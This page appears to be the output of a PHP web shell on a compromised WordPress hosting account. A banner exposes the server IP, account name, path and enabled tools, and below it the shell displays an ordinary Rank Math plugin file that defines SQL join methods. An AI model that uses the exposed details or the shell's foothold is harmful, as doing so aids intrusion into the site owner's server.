Done !
Server IP : 162.0.217.223 / Your IP : 216.73.216.168 Web Server : LiteSpeed System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64 User : mypckeys ( 1539) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/mypckeys/www/wp-content/plugins/seo-by-rank-math/includes/admin/database/ |
Upload File : |
<?php /** * The joins functions. * * @since 1.0.0 * @package RankMath * @subpackage RankMath\Admin\Database * @author RankMath <support@rankmath.com> */ namespace RankMath\Admin\Database; /** * Joins class. */ trait Joins { /** * Generate left join clause. * * @param string $table The SQL table. * @param mixed $column1 The SQL Column. * @param mixed $column2 The SQL Column. * @param string $operator The Operator. * @param string $alias The table alias. * * @return self The current query builder. */ public function leftJoin( $table, $column1, $column2, $operator = '=', $alias = '' ) { // @codingStandardsIgnoreLine if ( empty( $table ) || empty( $column1 ) || empty( $column2 ) ) { return $this; } if ( ! empty( $alias ) ) { $table = "{$table} AS {$alias}"; } $this->add_sql_clause( 'left_join', "LEFT JOIN {$table} ON {$column1} {$operator} {$column2}" ); return $this; } /** * Generate right join clause. * * @param string $table The SQL table. * @param mixed $column1 The SQL Column. * @param mixed $column2 The SQL Column. * @param string $operator The Operator. * @param string $alias The table alias. * * @return self The current query builder. */ public function rightJoin( $table, $column1, $column2, $operator = '=', $alias = '' ) { // @codingStandardsIgnoreLine if ( empty( $table ) || empty( $column1 ) || empty( $column2 ) ) { return $this; } if ( ! empty( $alias ) ) { $table = "{$table} AS {$alias}"; } $this->add_sql_clause( 'right_join', "RIGHT JOIN {$table} ON {$column1} {$operator} {$column2}" ); return $this; } /** * Generate left join clause. * * @param string $table The SQL table. * @param mixed $column1 The SQL Column. * @param mixed $column2 The SQL Column. * @param string $operator The Operator. * @param string $alias The table alias. * * @return self The current query builder. */ public function join( $table, $column1, $column2, $operator = '=', $alias = '' ) { // @codingStandardsIgnoreLine if ( empty( $table ) || empty( $column1 ) || empty( $column2 ) ) { return $this; } if ( ! empty( $alias ) ) { $table = "{$table} AS {$alias}"; } $this->add_sql_clause( 'join', "JOIN {$table} ON {$column1} {$operator} {$column2}" ); return $this; } }